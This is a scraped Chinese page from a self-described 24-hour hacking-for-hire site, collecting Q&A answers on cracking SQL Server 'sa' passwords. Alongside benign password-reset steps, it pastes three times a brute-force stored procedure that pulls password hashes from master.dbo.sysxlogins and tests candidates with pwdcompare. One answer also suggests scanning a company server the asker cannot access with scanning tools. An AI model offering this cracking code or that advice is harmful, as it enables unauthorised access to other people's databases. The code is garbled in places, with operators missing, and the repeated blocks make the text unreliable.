24小时接单的黑客网站

破解教程,破解软件,破解补丁,破解密码,破解软件下

破解sa密码(sai软件破解)

本文目录一览:

一个SQL Server Sa密码破解的存储过程执行后的报错

已经告诉你了语法错误,就是

SQL语句

出错。缺少注释的结尾标记

'*/'就是,前面有'/*'.要么吧前面的删了,要么在后面补全。语法错误你自己改吧,毕竟表的名字和列名,你自己清楚

如何破解 远程计算机的 SQL Server 2000 用户名(SA)的密码??

在"SQL SERVER企业管理器"下的"安全性"中"登陆", 可以添加用户,删除用户,修改密码。 例如把sa的密码改为123456: 双击sa用户--》输入123456--》点击确认--》系统弹出确认密码--》输入123456,点击确认,新密码就设置成功

sql server 里不知道sa用户的密码,有办法破解否

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

*/

/*--调用示例

--测试特殊字符

declare @pwd sysname

set @pwd=char(0)+'a '

exec sp_password null,@pwd,'sa'

exec p_GetPassword

--测试带空格的密码

exec sp_password null,'a ','sa'

exec p_GetPassword

--测试中文

exec sp_password null,'我 ','sa'

exec p_GetPassword

--清除密码

exec sp_password null,null,'sa'

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=3 --密码破解的位数,默认只破解3位及以下的密码

as

--生成要破解的密码的用户表

select name,password

,type=case when xstatus2048=2048 then 1 else 0 end

,jm=case when password is null or datalength(password)46

then 1 else 0 end

,pwdstr=case when datalength(password)46

then cast(password as sysname)

else cast('' as sysname) end

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

--生成临时表

select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b

alter table #t add constraint PK_#t primary key(id)

--清理不需要的字符

if not exists(select 1 from #pwd where type=1)

delete from #t where id between 65 and 90 or id between 129 and 254

--密码破解处理

declare @l int

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

--破解1位密码

select @l=0

,@s1='id=a.id'

,@s2='#t a'

,@s3='char(b.id)'

,@s4='cast(b.id as varchar)'

exec('

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#t b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

--破解超过2位的密码

while exists(select 1 from #pwd where jm=0 and @l@pwdlen-1)

begin

select @l=@l+1

,@s1=@s1+',id'+cast(@l as varchar)

+'='+char(@l/26+97)+char(@l%26+97)+'.id'

,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)

,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'

,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'

exec('

select '+@s1+' into #tt from '+@s2+'

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#tt b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

end

--显示破解的密码

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

--邹建 2004.08(引用请保留此信息)--*/

/*--调用示例

--测试特殊字符

declare @pwd sysname

set @pwd=char(0)+'a '

exec sp_password null,@pwd,'sa'

exec p_GetPassword

--测试带空格的密码

exec sp_password null,'a ','sa'

exec p_GetPassword

--测试中文

exec sp_password null,'我 ','sa'

exec p_GetPassword

--清除密码

exec sp_password null,null,'sa'

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=3 --密码破解的位数,默认只破解3位及以下的密码

as

--生成要破解的密码的用户表

select name,password

,type=case when xstatus2048=2048 then 1 else 0 end

,jm=case when password is null or datalength(password)46

then 1 else 0 end

,pwdstr=case when datalength(password)46

then cast(password as sysname)

else cast('' as sysname) end

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

--生成临时表

select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b

alter table #t add constraint PK_#t primary key(id)

--清理不需要的字符

if not exists(select 1 from #pwd where type=1)

delete from #t where id between 65 and 90 or id between 129 and 254

--密码破解处理

declare @l int

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

--破解1位密码

select @l=0

,@s1='id=a.id'

,@s2='#t a'

,@s3='char(b.id)'

,@s4='cast(b.id as varchar)'

exec('

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#t b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

--破解超过2位的密码

while exists(select 1 from #pwd where jm=0 and @l@pwdlen-1)

begin

select @l=@l+1

,@s1=@s1+',id'+cast(@l as varchar)

+'='+char(@l/26+97)+char(@l%26+97)+'.id'

,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)

,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'

,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'

exec('

select '+@s1+' into #tt from '+@s2+'

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#tt b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

end

--显示破解的密码

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

--邹建 2004.08(引用请保留此信息)--*/

/*--调用示例

--测试特殊字符

declare @pwd sysname

set @pwd=char(0)+'a '

exec sp_password null,@pwd,'sa'

exec p_GetPassword

--测试带空格的密码

exec sp_password null,'a ','sa'

exec p_GetPassword

--测试中文

exec sp_password null,'我 ','sa'

exec p_GetPassword

--清除密码

exec sp_password null,null,'sa'

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=3 --密码破解的位数,默认只破解3位及以下的密码

as

--生成要破解的密码的用户表

select name,password

,type=case when xstatus2048=2048 then 1 else 0 end

,jm=case when password is null or datalength(password)46

then 1 else 0 end

,pwdstr=case when datalength(password)46

then cast(password as sysname)

else cast('' as sysname) end

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

--生成临时表

select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b

alter table #t add constraint PK_#t primary key(id)

--清理不需要的字符

if not exists(select 1 from #pwd where type=1)

delete from #t where id between 65 and 90 or id between 129 and 254

--密码破解处理

declare @l int

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

--破解1位密码

select @l=0

,@s1='id=a.id'

,@s2='#t a'

,@s3='char(b.id)'

,@s4='cast(b.id as varchar)'

exec('

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#t b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

--破解超过2位的密码

while exists(select 1 from #pwd where jm=0 and @l@pwdlen-1)

begin

select @l=@l+1

,@s1=@s1+',id'+cast(@l as varchar)

+'='+char(@l/26+97)+char(@l%26+97)+'.id'

,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)

,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'

,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'

exec('

select '+@s1+' into #tt from '+@s2+'

update pwd set jm=1,pwdstr='+@s3+'

,pwd='+@s4+'

from #pwd pwd,#tt b

where pwd.jm=0

and pwdcompare('+@s3+',pwd.password,pwd.type)=1

')

end

--显示破解的密码

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

知道sql server sa密码,怎么破解系统密码

你好

直接打开"查询分析器"(注意不是从"企业管理器"中进入,可以从开始菜单的程序组进去,如果找不到的话,直接在"运行"中输入"isqlw.exe"也可);

选择"Windows身份验证"进入,不需要输入密码,只要你是本机的系统管理员或者域管理员,此时自动成为SQL

Server的管理员;

在查询分析器窗口中输入下面的语句直接更改SQL

Server

2000sa密码:

sp_password

Null,\\\'ok\\\',\\\'sa\\\'

运行后sa的密码变为"ok"

SQL数据库密码破解,破解sa的密码!我碰不到服务器,怎样在自己的机子上破解公司服务器SQL的sa

可以使用流光或XSCAN扫一下。朋友推荐的,不知道行不行,版本低可能行吧

怎么破解SA密码

其实,很简单,只要到SQL的企业管理器中,选择安全性,从中选取登录,看到里面有两个用户,包括我们所需要的SA用户,右键单击SA用户,选择属性,然后在弹出的对话框中,重新输入一个新的SA密码即可。

  • 评论列表:
  •  痴者玖橘
     发布于 2022-07-04 11:59:18  回复该评论
  • ssword,pwd.type)=1 ') --破解超过2位的密码 while exists(select 1 from #pwd where jm=0 and @l@
  •  南殷野侃
     发布于 2022-07-04 03:10:36  回复该评论
  • d.jm=0 and pwdcompare('+@s3+',pwd.password,pwd.type)=1 ') end --显示破解的密码 select 用户名=name,密码=pwdstr,密码ASCII=

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.